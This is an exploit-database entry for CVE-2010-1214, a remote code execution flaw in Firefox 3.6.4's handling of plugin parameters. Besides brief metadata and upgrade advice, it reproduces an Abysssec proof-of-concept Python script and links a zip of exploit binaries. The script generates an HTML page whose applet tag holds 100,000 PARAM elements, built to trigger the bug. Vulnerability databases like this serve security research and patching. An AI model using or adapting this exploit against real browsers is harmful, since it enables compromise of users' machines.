Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

vendor:

Firefox

by:

Unknown

CVSS

CRITICAL

Remote Code Execution

CWE

Product Name: Firefox

Affected Version From: Firefox 3.6.4

Affected Version To:

Patch Exists: YES

Related CWE: CVE-2010-1214

CPE: a:mozilla:firefox:3.6.4

Other Scripts:

Platforms Tested:

2010

Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution

This exploit allows remote attackers to execute arbitrary code on a system with Firefox 3.6.4 by exploiting a vulnerability in the Firefox plugin parameter EnsureCachedAttrParamArrays.

Mitigation:

Upgrade to a version of Firefox that is not affected by this vulnerability.

Source

Exploit-DB raw data:

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-17-firefox-plugin-parameter-ensurecachedattrparamarrays-remote-code-execution/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34358.zip (moaub-17-exploit.zip)
'''
'''
  Title              :  Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution
  Version            :  Firefox 3.6.4
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.mozilla.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-1214
  
'''

import sys;

myStyle = """
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>page demonstration</title>
<link rel="stylesheet" type="text/css" href="style2.css" />


</head>
<body id='msg'>


    <applet code = 'appletComponentArch.DynamicTreeApplet'   archive = 'DynamicTreeDemo.jar', width = 300, height = 300 >

"""
i=0
while(i<100000):
    myStyle = myStyle + "<PARAM name='snd' value='Hello.au|Welcome.au'>\n";
    i=i+1

myStyle = myStyle + """
	</applet>

</body>
</html>
"""
cssFile = open("Abysssec.html","w")
cssFile.write(myStyle)
cssFile.close()